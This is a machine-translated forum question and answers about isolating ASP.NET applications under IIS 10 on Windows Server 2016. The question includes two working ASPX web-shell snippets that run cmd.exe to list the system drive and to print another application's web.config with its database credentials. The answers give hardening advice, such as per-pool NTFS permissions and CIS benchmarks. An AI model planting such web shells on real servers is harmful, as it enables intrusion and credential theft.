Назад | Перейти на главную страницу

Проблема изоляции приложений в IIS 10 (Windows 2016 Server)

Я настраиваю новую машину для размещения нескольких приложений asp.net. Моя цель - максимально изолировать приложения. В случае взлома одного из приложений все остальные должны быть в безопасности.

У меня конфигурация по умолчанию. Есть каталог c: \ wwwroot. В этом каталоге у меня есть папки \ AppA и \ AppB, содержащие файлы приложений. Каталог wwwroot имеет разрешения по умолчанию:

Users - read & execute
IIS_IUSRS - read & execute

Оба приложения запускаются в разных опросах приложений в собственном контексте безопасности:

IIS AppPool\AppA
IIS AppPoll\AppB

Допустим, кто-то взломал AppA и смог загрузить фальшивый файл "dir.aspx":

<%@ Language=c# runat="server"%>
<html>
<body>
<%
    System.Diagnostics.Process si = new System.Diagnostics.Process();
    si.StartInfo.WorkingDirectory = "c:\\";
    si.StartInfo.UseShellExecute = false;
    si.StartInfo.FileName = "cmd.exe";
    si.StartInfo.Arguments = "/c dir";
    si.StartInfo.CreateNoWindow = true;
    si.StartInfo.RedirectStandardInput = true;
    si.StartInfo.RedirectStandardOutput = true;
    si.StartInfo.RedirectStandardError = true;
    si.Start();
    string output = si.StandardOutput.ReadToEnd();
    si.Close();
    Response.Write(output);
%>
</body>
</html>

Сюрприз! По умолчанию злоумышленник имеет доступ для чтения к c: \ - output:

<html>
<body>

 Volume in drive C is System
 Volume Serial Number is ******

 Directory of c:\

05.11.2018  14:39    <DIR>          PerfLogs
21.12.2018  13:55    <DIR>          Program Files
06.11.2018  15:03    <DIR>          Program Files (x86)
20.12.2018  10:08    <DIR>          Users
11.12.2018  01:33    <DIR>          Windows
10.01.2019  19:36    <DIR>          wwwroot
               0 File(s)              0 bytes
               8 Dir(s)  109˙008˙580˙608 bytes free


</body>
</html>

Теперь злоумышленник может легко просматривать файлы на всей машине и иметь доступ к AppB для чтения файла web.config AppB, раскрывающего его учетные данные базы данных и другие конфиденциальные данные:

<%@ Language=c# runat="server"%>
<html>
<body>

<%

System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);

 %>

</body>
</html>

Вывод:

<html>
<body>

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <connectionStrings>
    <add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
  </connectionStrings>
  <system.web>
    <compilation debug="true" targetFramework="4.5.2" />
    <httpRuntime targetFramework="4.5.2" />
    <customErrors mode="Off"/>
  </system.web>
</configuration>

</body>
</html>

Вопрос в том, можно ли настроить разрешения IIS для лучшей изоляции приложений? Как такой сценарий вообще возможен?

Вы можете обойти проблему, установив acl разрешения ntfs для папки «application» с полным запретом «IIS AppPool \ AppA» и наоборот.

Отрицать

Да, это возможно.

Я могу дать общий обзор, но чтобы обезопасить всю систему, вам действительно стоит взглянуть на Индикаторы СНГ для IIS и Windows 2016. Эти тесты включают в себя слишком много настроек, чтобы перечислить их здесь, но сильно заблокируют ваш сервер и обеспечат вам хорошую безопасность.

Но вот пара вещей для начала.

  1. Не размещайте свои сайты на системном диске. Создайте отдельный диск. Это сделано не только для безопасности, но и для предотвращения нехватки места на системном диске, если вы в конечном итоге загрузите или создадите слишком много файлов.
  2. Удалите пул приложений и веб-сайт по умолчанию. Даже не используйте папку wwwroot по умолчанию.
  3. Вы хорошо начали с создания отдельных пулов приложений для каждого веб-сайта, но вы можете пойти дальше и ограничить доступ к корневой папке каждого веб-сайта для пула приложений, на котором запущен этот конкретный веб-сайт.

Попробуйте тесты (эти фрагменты, которые я предоставил, включены в тест), а затем снова запустите тест. По умолчанию Windows не может быть безопасной для этого типа использования (или многих, если вы действительно до этого дойдете).